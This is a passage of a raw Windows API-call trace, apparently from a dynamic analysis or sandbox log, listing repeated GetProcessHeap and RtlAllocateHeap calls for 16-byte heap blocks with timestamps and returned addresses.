0x1718b870000 [0052.443] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87e680 [0052.443] GetProcessHeap () returned 0x1718b870000 [0052.443] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87e9a0 [0052.443] GetProcessHeap () returned 0x1718b870000 [0052.443] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87e960 [0052.443] GetProcessHeap () returned 0x1718b870000 [0052.443] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87eae0 [0052.443] GetProcessHeap () returned 0x1718b870000 [0052.444] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87ec60 [0052.444] GetProcessHeap () returned 0x1718b870000 [0052.444] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87e4e0 [0052.444] GetProcessHeap () returned 0x1718b870000 [0052.444] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87ebe0 [0052.444] GetProcessHeap () returned 0x1718b870000 [0052.444] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87eb80 [0052.444] GetProcessHeap () returned 0x1718b870000 [0052.444] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87e500 [0052.444] GetProcessHeap () returned 0x1718b870000 [0052.444] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87e7a0 [0052.444] GetProcessHeap () returned 0x1718b870000 [0052.444] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87e5c0 [0052.444] GetProcessHeap () returned 0x1718b870000 [0052.444] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87e8c0 [0052.444] GetProcessHeap () returned 0x1718b870000 [0052.444] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87e520 [0052.444] GetProcessHeap () returned 0x1718b870000 [0052.444] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87ea00 [0052.444] GetProcessHeap () returned 0x1718b870000 [0052.444] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87e540 [0052.444] GetProcessHeap () returned 0x1718b870000 [0052.444] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87e840 [0052.444] GetProcessHeap () returned 0x1718b870000 [0052.444] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87e780 [0052.444] GetProcessHeap () returned 0x1718b870000 [0052.444] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87e6a0 [0052.444] GetProcessHeap () returned 0x1718b870000 [0052.444] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87e5e0 [0052.444] GetProcessHeap () returned 0x1718b870000 [0052.444] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87e640 [0052.444] GetProcessHeap () returned 0x1718b870000 [0052.444] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87e700 [0052.444] GetProcessHeap () returned 0x1718b870000 [0052.444] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87ea40 [0052.444] GetProcessHeap () returned 0x1718b870000 [0052.444] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87e6c0 [0052.444] GetProcessHeap () returned 0x1718b870000 [0052.444] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87e720 [0052.444] GetProcessHeap () returned 0x1718b870000 [0052.444] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87e760 [0052.444] GetProcessHeap () returned 0x1718b870000 [0052.444] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87e7e0 [0052.444] GetProcessHeap () returned 0x1718b870000 [0052.445] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87e800 [0052.445] GetProcessHeap () returned 0x1718b870000 [0052.445] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87ea60 [0052.445] GetProcessHeap () returned 0x1718b870000 [0052.445] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87e820 [0052.445] GetProcessHeap () returned 0x1718b870000 [0052.445] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87ea80 [0052.445] GetProcessHeap () returned 0x1718b870000 [0052.445] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87eaa0 [0052.445] GetProcessHeap () returned 0x1718b870000 [0052.445] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87e860 [0052.445] GetProcessHeap () returned 0x1718b870000 [0052.445] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87e980 [0052.445] GetProcessHeap () returned 0x1718b870000 [0052.445] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87e8a0 [0052.445] GetProcessHeap () returned 0x1718b870000 [0052.445] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87e900 [0052.445] GetProcessHeap () returned 0x1718b870000 [0052.445] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87eb00 [0052.445] GetProcessHeap () returned 0x1718b870000 [0052.445] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87eb40 [0052.445] GetProcessHeap () returned 0x1718b870000 [0052.445] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87eb60 [0052.445] GetProcessHeap () returned 0x1718b870000 [0052.445] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87fee0 [0052.445] GetProcessHeap () returned 0x1718b870000 [0052.445] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87f940 [0052.445] GetProcessHeap () returned 0x1718b870000 [0052.445] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87fbe0 [0052.445] GetProcessHeap () returned 0x1718b870000 [0052.445] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87ff20 [0052.445] GetProcessHeap () returned 0x1718b870000 [0052.445] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87ff00 [0052.445] GetProcessHeap () returned 0x1718b870000 [0052.445] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87fcc0 [0052.445] GetProcessHeap () returned 0x1718b870000 [0052.445] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87fdc0 [0052.445] GetProcessHeap () returned 0x1718b870000 [0052.445] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87fa40 [0052.445] GetProcessHeap () returned 0x1718b870000 [0052.445] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87fb20 [0052.445] GetProcessHeap () returned 0x1718b870000 [0052.445] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b880040 [0052.445] GetProcessHeap () returned 0x1718b870000 [0052.445] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87f960 [0052.446] GetProcessHeap () returned 0x1718b870000 [0052.446] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87fe80 [0052.446] GetProcessHeap () returned 0x1718b870000 [0052.446] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87f920 [0052.446] GetProcessHeap () returned 0x1718b870000 [0052.446] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87fa00 [0052.446] GetProcessHeap () returned 0x1718b870000 [0052.446] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87fb80 [0052.446] GetProcessHeap () returned 0x1718b870000 [0052.446] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87f980 [0052.446] GetProcessHeap () returned 0x1718b870000 [0052.446] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87fac0 [0052.446] GetProcessHeap () returned 0x1718b870000 [0052.446] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87fe20 [0052.446] GetProcessHeap () returned 0x1718b870000 [0052.446] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87f8e0 [0052.446] GetProcessHeap () returned 0x1718b870000 [0052.446] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87ff40 [0052.446] GetProcessHeap () returned 0x1718b870000 [0052.446] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87fa60 [0052.446] GetProcessHeap () returned 0x1718b870000 [0052.446] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87fba0 [0052.446] GetProcessHeap () returned 0x1718b870000 [0052.446] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b880060 [0052.446] GetProcessHeap () returned 0x1718b870000 [0052.446] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87fce0 [0052.446] GetProcessHeap () returned 0x1718b870000 [0052.446] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b880000 [0052.446] GetProcessHeap () returned 0x1718b870000 [0052.446] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87fbc0 [0052.446] GetProcessHeap () returned 0x1718b870000 [0052.446] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87fc80 [0052.708] GetProcessHeap () returned 0x1718b870000 [0052.708] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87f900 [0052.708] GetProcessHeap () returned 0x1718b870000 [0052.708] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87fd20 [0052.708] GetProcessHeap () returned 0x1718b870000 [0052.708] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87f9a0 [0052.708] GetProcessHeap () returned 0x1718b870000 [0052.708] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87fa20 [0052.708] GetProcessHeap () returned 0x1718b870000 [0052.708] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87fd60 [0052.708] GetProcessHeap () returned 0x1718b870000 [0052.708] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87fa80 [0052.708] GetProcessHeap () returned 0x1718b870000 [0052.708] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87fca0 [0052.708] GetProcessHeap () returned 0x1718b870000 [0052.708] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87f9c0 [0052.708] GetProcessHeap () returned 0x1718b870000 [0052.709] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87faa0 [0052.709] GetProcessHeap () returned 0x1718b870000 [0052.709] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87ff60 [0052.709] GetProcessHeap () returned 0x1718b870000 [0052.709] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87fc00 [0052.709] GetProcessHeap () returned 0x1718b870000 [0052.709] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87ffe0 [0052.709] GetProcessHeap () returned 0x1718b870000 [0052.709] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87f9e0 [0052.709] GetProcessHeap () returned 0x1718b870000 [0052.709] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87ffc0 [0052.709] GetProcessHeap () returned 0x1718b870000 [0052.709] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87fd00 [0052.709] GetProcessHeap () returned 0x1718b870000 [0052.709] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87fae0 [0052.709] GetProcessHeap () returned 0x1718b870000 [0052.709] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87ff80 [0052.709] GetProcessHeap () returned 0x1718b870000 [0052.709] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87fb00 [0052.709] GetProcessHeap () returned 0x1718b870000 [0052.709] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87fb40 [0052.709] GetProcessHeap () returned 0x1718b870000 [0052.709] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87fb60 [0052.709] GetProcessHeap () returned 0x1718b870000 [0052.709] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b880020 [0052.709] GetProcessHeap () returned 0x1718b870000 [0052.709] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87fc20 [0052.709] GetProcessHeap () returned 0x1718b870000 [0052.709] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87fc40 [0052.709] GetProcessHeap () returned 0x1718b870000 [0052.709] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87fd40 [0052.709] GetProcessHeap () returned 0x1718b870000 [0052.709] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87fc60 [0052.709] GetProcessHeap () returned 0x1718b870000 [0052.709] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87fd80 [0052.709] GetProcessHeap () returned 0x1718b870000 [0052.709] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87fe40 [0052.709] GetProcessHeap () returned 0x1718b870000 [0052.709] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87fda0 [0052.709] GetProcessHeap () returned 0x1718b870000 [0052.709] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87fde0 [0052.709] GetProcessHeap () returned 0x1718b870000 [0052.709] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87fe60 [0052.709] GetProcessHeap () returned 0x1718b870000 [0052.709] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87fe00 [0052.709] GetProcessHeap () returned 0x1718b870000 [0052.709] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87fea0 [0052.709] GetProcessHeap () returned 0x1718b870000 [0052.709] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87fec0 [0052.709] GetProcessHeap () returned 0x1718b870000 [0052.709] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b87ffa0 [0052.710] GetProcessHeap () returned 0x1718b870000 [0052.710] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b880a70 [0052.710] GetProcessHeap () returned 0x1718b870000 [0052.710] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b8805d0 [0052.710] GetProcessHeap () returned 0x1718b870000 [0052.710] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b880650 [0052.710] GetProcessHeap () returned 0x1718b870000 [0052.710] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b880a90 [0052.710] GetProcessHeap () returned 0x1718b870000 [0052.710] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b880490 [0052.710] GetProcessHeap () returned 0x1718b870000 [0052.710] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b8807d0 [0052.710] GetProcessHeap () returned 0x1718b870000 [0052.710] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b8804b0 [0052.710] GetProcessHeap () returned 0x1718b870000 [0052.710] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b880af0 [0052.710] GetProcessHeap () returned 0x1718b870000 [0052.710] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b8808d0 [0052.710] GetProcessHeap () returned 0x1718b870000 [0052.710] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b880530 [0052.710] GetProcessHeap () returned 0x1718b870000 [0052.710] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b880b10 [0052.710] GetProcessHeap () returned 0x1718b870000 [0052.710] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b880610 [0052.710] GetProcessHeap () returned 0x1718b870000 [0052.710] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b880550 [0052.710] GetProcessHeap () returned 0x1718b870000 [0052.710] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b8809f0 [0052.710] GetProcessHeap () returned 0x1718b870000 [0052.710] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b8808b0 [0052.710] GetProcessHeap () returned 0x1718b870000 [0052.710] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b880a10 [0052.710] GetProcessHeap () returned 0x1718b870000 [0052.710] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b880590 [0052.710] GetProcessHeap () returned 0x1718b870000 [0052.710] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b880b50 [0052.710] GetProcessHeap () returned 0x1718b870000 [0052.710] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b880670 [0052.710] GetProcessHeap () returned 0x1718b870000 [0052.710] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b880630 [0052.710] GetProcessHeap () returned 0x1718b870000 [0052.710] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b880a30 [0052.710] GetProcessHeap () returned 0x1718b870000 [0052.710] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b880b30 [0052.710] GetProcessHeap () returned 0x1718b870000 [0052.710] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b880b90 [0052.710] GetProcessHeap () returned 0x1718b870000 [0052.710] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b880b70 [0052.710] GetProcessHeap () returned 0x1718b870000 [0052.710] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b880ab0 [0052.711] GetProcessHeap () returned 0x1718b870000 [0052.711] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b880910 [0052.711] GetProcessHeap () returned 0x1718b870000 [0052.711] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b880a50 [0052.711] GetProcessHeap () returned 0x1718b870000 [0052.711] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b880bb0 [0052.711] GetProcessHeap () returned 0x1718b870000 [0052.711] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b880690 [0052.711] GetProcessHeap () returned 0x1718b870000 [0052.711] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b880730 [0052.711] GetProcessHeap () returned 0x1718b870000 [0052.711] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b8808f0 [0052.712] GetProcessHeap () returned 0x1718b870000 [0052.712] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b880870 [0052.712] GetProcessHeap () returned 0x1718b870000 [0052.712] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b8805f0 [0052.712] GetProcessHeap () returned 0x1718b870000 [0052.712] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b880bd0 [0052.712] GetProcessHeap () returned 0x1718b870000 [0052.712] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b880890 [0052.712] GetProcessHeap () returned 0x1718b870000 [0052.712] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b880bf0 [0052.712] GetProcessHeap () returned 0x1718b870000 [0052.712] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b880930 [0052.712] GetProcessHeap () returned 0x1718b870000 [0052.712] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b880770 [0052.712] GetProcessHeap () returned 0x1718b870000 [0052.712] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b8806b0 [0052.712] GetProcessHeap () returned 0x1718b870000 [0052.712] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b880510 [0052.712] GetProcessHeap () returned 0x1718b870000 [0052.712] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b8806d0 [0052.712] GetProcessHeap () returned 0x1718b870000 [0052.712] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b880710 [0052.712] GetProcessHeap () returned 0x1718b870000 [0052.712] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b8806f0 [0052.712] GetProcessHeap () returned 0x1718b870000 [0052.712] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b880750 [0052.712] GetProcessHeap () returned 0x1718b870000 [0052.712] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b880950 [0052.712] GetProcessHeap () returned 0x1718b870000 [0052.712] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b880c10 [0052.712] GetProcessHeap () returned 0x1718b870000 [0052.712] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b880570 [0052.712] GetProcessHeap () returned 0x1718b870000 [0052.712] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b8809d0 [0052.712] GetProcessHeap () returned 0x1718b870000 [0052.712] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b880970 [0052.712] GetProcessHeap () returned 0x1718b870000 [0052.712] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b880790 [0052.712] GetProcessHeap () returned 0x1718b870000 [0052.712] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b880990 [0052.712] GetProcessHeap () returned 0x1718b870000 [0052.712] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b8809b0 [0052.712] GetProcessHeap () returned 0x1718b870000 [0052.712] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b8807b0 [0052.713] GetProcessHeap () returned 0x1718b870000 [0052.713] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b8804d0 [0052.713] GetProcessHeap () returned 0x1718b870000 [0052.713] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b880810 [0052.713] GetProcessHeap () returned 0x1718b870000 [0052.713] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b8807f0 [0052.713] GetProcessHeap () returned 0x1718b870000 [0052.713] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b8804f0 [0052.713] GetProcessHeap () returned 0x1718b870000 [0052.713] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b880830 [0052.713] GetProcessHeap () returned 0x1718b870000 [0052.713] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b880850 [0052.713] GetProcessHeap () returned 0x1718b870000 [0052.713] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b880ad0 [0052.713] GetProcessHeap () returned 0x1718b870000 [0052.713] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b8805b0 [0052.713] GetProcessHeap () returned 0x1718b870000 [0052.713] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b881300 [0052.713] GetProcessHeap () returned 0x1718b870000 [0052.713] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b880cc0 [0052.713] GetProcessHeap () returned 0x1718b870000 [0052.713] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b8813c0 [0052.713] GetProcessHeap () returned 0x1718b870000 [0052.713] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b881100 [0052.713] GetProcessHeap () returned 0x1718b870000 [0052.713] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b8812e0 [0052.713] GetProcessHeap () returned 0x1718b870000 [0052.713] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b8812c0 [0052.713] GetProcessHeap () returned 0x1718b870000 [0052.713] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b880ea0 [0052.713] GetProcessHeap () returned 0x1718b870000 [0052.713] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b880f20 [0052.713] GetProcessHeap () returned 0x1718b870000 [0052.713] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b880d20 [0052.713] GetProcessHeap () returned 0x1718b870000 [0052.713] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b881360 [0052.713] GetProcessHeap () returned 0x1718b870000 [0052.713] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b880da0 [0052.713] GetProcessHeap () returned 0x1718b870000 [0052.713] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b881060 [0052.714] GetProcessHeap () returned 0x1718b870000 [0052.714] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b880ee0 [0052.714] GetProcessHeap () returned 0x1718b870000 [0052.714] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b881420 [0052.714] GetProcessHeap () returned 0x1718b870000 [0052.714] RtlAllocateHeap (HeapHandle=0x1718b870000, Flags=0x0, Size=0x10) returned 0x1718b881380 [0052.714] GetProcessHeap () returned 0x1718b870000 [0052.714] RtlAllocateHeap 